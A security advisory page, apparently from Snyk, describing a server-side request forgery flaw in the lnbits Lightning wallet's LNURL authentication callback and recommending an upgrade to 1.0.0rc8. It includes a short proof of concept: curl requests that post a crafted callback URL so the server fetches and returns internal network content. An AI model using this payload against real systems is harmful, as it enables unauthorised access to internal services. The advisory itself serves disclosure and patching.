Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningUpgrade lnbits
to version 1.0.0rc8 or higher.
lnbits is a LNbits, free and open-source Lightning wallet and accounts system.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the LNURL
authentication callback process. An attacker can make the application send HTTP requests to arbitrary internal network locations, potentially exposing sensitive information or accessing internal services that should not be accessible from the internet by specifying a malicious callback URL.
Note:
This is only exploitable if the attacke ris authenticated, has the ability to create a wallet and can obtain an admin key.
curl -X POST http://target:5000/api/v1/account -d '{"name":"test"}'
curl -X POST http://target:5000/api/v1/lnurlauth \
-H "X-Api-Key: <admin_key>" \
-H "Content-Type: application/json" \
-d '{
"callback": "http://target-internal-server/?tag=login&k1=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
"k1": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
"sig": "0"*128,
"key": "0"*64
}'
The application will make an HTTP request to the internal URL specified in the callback parameter and return its contents in the response, allowing access to internal resources that should not be accessible.